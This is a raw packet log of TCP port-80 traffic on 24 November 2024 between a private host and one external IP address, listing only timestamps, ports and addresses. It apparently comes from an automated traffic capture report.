Nov 24, 2024 12:05:38.160459042 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.160568953 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.160613060 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.161627054 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.161727905 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.161770105 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.162781000 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.162867069 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.162908077 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.164320946 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.164437056 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.164480925 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.165064096 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.165169954 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.165210962 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.166390896 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.166491032 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.166532040 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.167376041 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.167495966 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.167536020 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.168550968 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.168632984 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.168678045 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.169672012 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.169799089 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.169847012 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.170840025 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.170974970 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.171016932 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.171972036 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.172180891 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.172224045 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.173146009 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.173350096 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.173388958 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.174295902 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.174417973 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.174459934 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.175465107 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.175518990 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.175563097 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.176590919 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.176713943 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.176754951 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.177757978 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.177875042 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.177913904 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.178905010 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.179008007 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.179052114 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.180066109 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.180186987 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.180229902 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.181193113 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.181303024 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.181344986 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.182342052 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.182495117 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.182537079 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.183511019 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.183634043 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.183675051 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.184711933 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.184808969 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.184849977 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.185832977 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.185985088 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.186028004 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.186963081 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.187094927 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.187135935 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.188230038 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.188314915 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.188357115 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.189305067 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.189403057 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.189445019 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.190370083 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.232342958 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.331446886 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.331509113 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.331556082 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.331954002 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.332042933 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.332082987 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.333081961 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.333163023 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.333203077 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.334261894 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.334369898 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.334412098 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.335494041 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.335561991 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.335598946 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.336533070 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.336673021 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.336715937 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.337737083 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.337826967 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.337877989 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.338829041 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.338941097 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.338978052 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.340087891 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.340204000 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.340245008 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.341140985 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.341327906 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.341366053 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.342318058 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.342436075 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.342472076 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.343471050 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.343564034 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.343605995 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.344680071 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.344733000 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.344774961 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.345822096 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.345993042 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.346036911 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.346898079 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.347018957 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.347063065 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.348083019 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.348109007 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.348150015 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.349201918 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.349322081 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.349359989 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.350342035 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.350469112 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.350507021 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.351512909 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.351655006 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.351695061 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.352699041 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.352803946 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.352842093 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.353837013 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.353934050 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.353974104 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.354985952 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.355076075 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.355118990 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.356163979 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.356228113 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.356267929 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.357331991 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.357428074 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.357486963 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.358484030 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.358661890 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.358704090 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.359607935 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.359690905 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.359728098 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.360747099 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.360832930 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.360871077 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.361890078 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.362005949 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.362045050 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.363233089 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.363343000 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.363382101 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.364203930 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.364329100 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.364367962 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.365355968 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.365473986 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.365515947 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.366503000 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.366622925 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.366660118 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.367676020 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.367799044 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.367837906 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.368819952 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.368917942 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.368959904 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.370080948 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.370162964 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.370209932 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.371253967 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.371499062 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.371540070 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.372278929 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.372417927 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.372461081 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.373420000 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.373667955 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.373714924 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.374602079 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.374722958 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.374763012 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.375747919 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.375864983 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.375904083 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.376899004 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.377012968 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.377053976 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.378060102 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.378201962 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.378242970 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.379378080 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.379465103 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.379509926 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.380415916 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.380551100 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.380589962 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.381505013 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.381611109 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.381649971 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.382671118 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.382788897 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.382832050 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.383805037 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.383920908 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.383963108 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.385008097 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.385073900 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.385114908 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.386111021 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.386238098 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.386280060 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.387242079 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.387340069 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.387382030 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.388447046 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.388560057 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.388602972 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.389569998 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.389694929 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.389735937 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.390718937 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.390831947 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.390873909 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.391813040 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.435472965 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.536534071 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.536667109 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.536700964 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.537081003 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.537234068 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.537281990 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.538274050 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.538383961 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.538424015 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.539355040 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.539486885 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.539534092 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.540690899 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.540803909 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.540843964 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.541735888 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.541851044 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.541888952 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.542870045 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.543066978 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.543107986 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.543986082 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.544123888 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.544162035 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.545156956 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.545262098 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.545310020 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.546405077 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.546607018 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.546646118 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.547430992 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.547544003 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.547585964 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.548924923 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.549001932 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.549041986 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.550017118 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.550143003 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.550190926 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.551143885 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.551271915 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.551316977 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.615917921 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:38.737504005 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:38.737564087 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:40.299890995 CET	49915	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:40.419764042 CET	80	49915	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:40.419887066 CET	49915	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:40.454709053 CET	49915	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:40.574327946 CET	80	49915	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:41.692329884 CET	80	49915	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:41.696832895 CET	49915	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:41.816596031 CET	80	49915	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:41.816675901 CET	49915	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:42.500114918 CET	49920	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:42.619641066 CET	80	49920	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:42.619723082 CET	49920	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:42.619935989 CET	49920	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:42.739382029 CET	80	49920	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:43.955971003 CET	80	49920	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:43.972419024 CET	49920	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:44.092576981 CET	80	49920	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:44.092637062 CET	49920	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:44.506678104 CET	49925	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:44.626240969 CET	80	49925	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:44.626343966 CET	49925	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:44.626692057 CET	49925	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:44.748336077 CET	80	49925	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:45.929018974 CET	80	49925	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:45.934092999 CET	49925	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:46.054832935 CET	80	49925	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:46.055001974 CET	49925	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:46.121279001 CET	49864	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:46.121773958 CET	49930	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:46.240932941 CET	80	49864	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:46.241255045 CET	80	49930	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:46.241336107 CET	49930	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:46.246402979 CET	49930	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:46.365907907 CET	80	49930	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:47.596132040 CET	80	49930	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:47.596193075 CET	49930	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:47.730566025 CET	49934	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:47.850940943 CET	80	49934	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:47.851033926 CET	49934	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:47.851183891 CET	49934	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:47.970616102 CET	80	49934	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:49.114867926 CET	80	49934	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:49.115392923 CET	49934	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:49.235156059 CET	80	49934	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:49.240782022 CET	49934	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:49.339838982 CET	49939	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:49.459399939 CET	80	49939	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:49.459465027 CET	49939	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:49.459774971 CET	49939	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:49.579298973 CET	80	49939	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:50.818061113 CET	80	49939	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:50.818526983 CET	49939	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:50.932653904 CET	49944	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:50.938693047 CET	80	49939	178.215.224.74	192.168.2.5
